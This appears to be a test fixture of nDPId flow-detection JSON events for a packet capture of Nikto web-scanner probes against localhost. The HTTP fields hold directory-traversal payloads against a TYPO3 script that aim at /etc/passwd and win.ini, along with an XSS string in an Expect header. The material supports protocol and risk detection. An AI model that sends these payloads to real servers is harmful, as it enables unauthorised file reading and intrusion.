+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":111,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":1576420276835,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49766,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00635{"flow_id":111,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":835942,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AAAAAAAAAAAAAAAACABFAADKANNAAEAGO1l\/AAABfwAAAcJmH5BoODjpUSa4iYAYAED+vgAAAQEICp1m+4udZvuLR0VUIC9+YmluIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDphcGFjaGV1c2Vyczoga25vd24gdXNlcikNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00770{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":111,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":1576420276835,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49766,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/~bin","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:apacheusers: known user)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":112,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_first_seen":1576420276837,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49768,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00671{"flow_id":112,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":837251,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"pkt":"AAAAAAAAAAAAAAAACABFAADlgjNAAEAGud1\/AAABfwAAAcJoH5AFkroJ2Lkky4AYAED+2QAAAQEICp1m+42dZvuNR0VUIC8gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KRXhwZWN0OiA8c2NyaXB0PmFsZXJ0KHhzcyk8L3NjcmlwdD4NClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDphcGFjaGVfZXhwZWN0X3hzcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":112,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_first_seen":1576420276837,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49768,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:apache_expect_xss)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":113,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":1,"flow_first_seen":1576420276839,"flow_last_seen":0,"flow_tot_l4_data_len":258,"flow_min_l4_data_len":258,"flow_max_l4_data_len":258,"flow_avg_l4_data_len":258,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49770,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00740{"flow_id":113,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":839140,"pkt_caplen":292,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":292,"pkt_l4_len":258,"pkt":"AAAAAAAAAAAAAAAACABFAAEW4vNAAEAGWOx\/AAABfwAAAcJqH5CF6NrJzvbnOoAYAED\/CgAAAQEICp1m+4+dZvuOR0VUIC90eXBvMy9kZXYvdHJhbnNsYXRpb25zLnBocD9PTkxZPSUyZSUyZS8lMmUlMmUvJTJlJTJlLyUyZSUyZS8lMmUlMmUvYm9vdC5pbmklMDAgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OkRpcmVjdG9yeSB0cmF2ZXJzYWwgY2hlY2spDQoNCg=="} +00853{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":113,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":1,"flow_first_seen":1576420276839,"flow_last_seen":0,"flow_tot_l4_data_len":258,"flow_min_l4_data_len":258,"flow_max_l4_data_len":258,"flow_avg_l4_data_len":258,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49770,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/typo3\/dev\/translations.php?ONLY=%2e%2e\/%2e%2e\/%2e%2e\/%2e%2e\/%2e%2e\/boot.ini%00","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:Directory traversal check)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":114,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":1576420276840,"flow_last_seen":0,"flow_tot_l4_data_len":259,"flow_min_l4_data_len":259,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":259,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49772,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00740{"flow_id":114,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":840424,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AAAAAAAAAAAAAAAACABFAAEXDe5AAEAGLfF\/AAABfwAAAcJsH5C64jXXMX558oAYAED\/CwAAAQEICp1m+5CdZvuQR0VUIC90eXBvMy9kZXYvdHJhbnNsYXRpb25zLnBocD9PTkxZPSUyZSUyZS8lMmUlMmUvJTJlJTJlLyUyZSUyZS8lMmUlMmUvZXRjL2hvc3RzJTAwIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpEaXJlY3RvcnkgdHJhdmVyc2FsIGNoZWNrKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00855{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":114,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":1576420276840,"flow_last_seen":0,"flow_tot_l4_data_len":259,"flow_min_l4_data_len":259,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":259,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49772,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/typo3\/dev\/translations.php?ONLY=%2e%2e\/%2e%2e\/%2e%2e\/%2e%2e\/%2e%2e\/etc\/hosts%00","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:Directory traversal check)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":115,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1576420276841,"flow_last_seen":0,"flow_tot_l4_data_len":270,"flow_min_l4_data_len":270,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":270,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49774,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00756{"flow_id":115,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":841751,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"AAAAAAAAAAAAAAAACABFAAEi9VxAAEAGRnd\/AAABfwAAAcJuH5BHUs1h0rvodIAYAED\/FgAAAQEICp1m+5GdZvuRR0VUIC90eXBvMy9kZXYvdHJhbnNsYXRpb25zLnBocD9PTkxZPSUyZSUyZS8lMmUlMmUvJTJlJTJlLyUyZSUyZS8lMmUlMmUvSEFTSCgweDU1NTllODRmYmM0MCklMDAgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpEaXJlY3RvcnkgdHJhdmVyc2FsIGNoZWNrKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00865{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":115,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1576420276841,"flow_last_seen":0,"flow_tot_l4_data_len":270,"flow_min_l4_data_len":270,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":270,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49774,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/typo3\/dev\/translations.php?ONLY=%2e%2e\/%2e%2e\/%2e%2e\/%2e%2e\/%2e%2e\/HASH(0x5559e84fbc40)%00","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:Directory traversal check)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":116,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1576420276842,"flow_last_seen":0,"flow_tot_l4_data_len":263,"flow_min_l4_data_len":263,"flow_max_l4_data_len":263,"flow_avg_l4_data_len":263,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49776,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00744{"flow_id":116,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":842991,"pkt_caplen":297,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":297,"pkt_l4_len":263,"pkt":"AAAAAAAAAAAAAAAACABFAAEbV1RAAEAG5IZ\/AAABfwAAAcJwH5AGYW9pnm57IYAYAED\/DwAAAQEICp1m+5KdZvuSR0VUIC90eXBvMy9kZXYvdHJhbnNsYXRpb25zLnBocD9PTkxZPSUyZSUyZS8lMmUlMmUvJTJlJTJlLyUyZSUyZS8lMmUlMmUvd2lubnQvd2luLmluaSUwMCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6RGlyZWN0b3J5IHRyYXZlcnNhbCBjaGVjaykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00859{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":116,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1576420276842,"flow_last_seen":0,"flow_tot_l4_data_len":263,"flow_min_l4_data_len":263,"flow_max_l4_data_len":263,"flow_avg_l4_data_len":263,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49776,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/typo3\/dev\/translations.php?ONLY=%2e%2e\/%2e%2e\/%2e%2e\/%2e%2e\/%2e%2e\/winnt\/win.ini%00","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:Directory traversal check)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":117,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1576420276844,"flow_last_seen":0,"flow_tot_l4_data_len":265,"flow_min_l4_data_len":265,"flow_max_l4_data_len":265,"flow_avg_l4_data_len":265,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49778,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00748{"flow_id":117,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":844244,"pkt_caplen":299,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":299,"pkt_l4_len":265,"pkt":"AAAAAAAAAAAAAAAACABFAAEdYctAAEAG2g1\/AAABfwAAAcJyH5D8wFnzKu6RnoAYAED\/EQAAAQEICp1m+5SdZvuUR0VUIC90eXBvMy9kZXYvdHJhbnNsYXRpb25zLnBocD9PTkxZPSUyZSUyZS8lMmUlMmUvJTJlJTJlLyUyZSUyZS8lMmUlMmUvd2luZG93cy93aW4uaW5pJTAwIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpEaXJlY3RvcnkgdHJhdmVyc2FsIGNoZWNrKQ0KDQo="} +00861{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":117,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1576420276844,"flow_last_seen":0,"flow_tot_l4_data_len":265,"flow_min_l4_data_len":265,"flow_max_l4_data_len":265,"flow_avg_l4_data_len":265,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49778,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/typo3\/dev\/translations.php?ONLY=%2e%2e\/%2e%2e\/%2e%2e\/%2e%2e\/%2e%2e\/windows\/win.ini%00","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:Directory traversal check)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":118,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1576420276847,"flow_last_seen":0,"flow_tot_l4_data_len":260,"flow_min_l4_data_len":260,"flow_max_l4_data_len":260,"flow_avg_l4_data_len":260,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49780,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00740{"flow_id":118,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":847017,"pkt_caplen":294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":294,"pkt_l4_len":260,"pkt":"AAAAAAAAAAAAAAAACABFAAEYOOhAAEAGAvZ\/AAABfwAAAcJ0H5DjgwDevH40fYAYAED\/DAAAAQEICp1m+5adZvuWR0VUIC90eXBvMy9kZXYvdHJhbnNsYXRpb25zLnBocD9PTkxZPSUyZSUyZS8lMmUlMmUvJTJlJTJlLyUyZSUyZS8lMmUlMmUvZXRjL3Bhc3N3ZCUwMCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6RGlyZWN0b3J5IHRyYXZlcnNhbCBjaGVjaykNCg0K"} +00856{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":118,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1576420276847,"flow_last_seen":0,"flow_tot_l4_data_len":260,"flow_min_l4_data_len":260,"flow_max_l4_data_len":260,"flow_avg_l4_data_len":260,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49780,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/typo3\/dev\/translations.php?ONLY=%2e%2e\/%2e%2e\/%2e%2e\/%2e%2e\/%2e%2e\/etc\/passwd%00","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:Directory traversal check)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":119,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":1576420276856,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49782,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":119,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":856992,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBvW9AAEAGfsV\/AAABfwAAAcJ2H5DTj4VUAEbtioAYAED+tQAAAQEICp1m+6CdZvugR0VUIC8xMjcwMC53YXIgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":119,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":1576420276856,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49782,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":120,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":1,"flow_first_seen":1576420276858,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49784,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":120,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":858450,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADB2xVAAEAGYR9\/AAABfwAAAcJ4H5D77OMujr7QhoAYAED+tQAAAQEICp1m+6KdZvuiR0VUIC8xMjcwMC53YXIgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":120,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":1,"flow_first_seen":1576420276858,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49784,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":121,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":1576420276859,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49786,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":121,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":121,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":859794,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADApHlAAEAGl7x\/AAABfwAAAcJ6H5CcwpxJV58CXYAYAED+tAAAAQEICp1m+6OdZvujR0VUIC8xMjcwLmNlciBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":121,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":1576420276859,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49786,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":122,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":1,"flow_first_seen":1576420276860,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49788,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":122,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":860989,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADALy9AAEAGDQd\/AAABfwAAAcJ8H5ChphcTD1c5UYAYAED+tAAAAQEICp1m+6SdZvukR0VUIC8xMjcwLmNlciBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":122,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":1,"flow_first_seen":1576420276860,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49788,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": 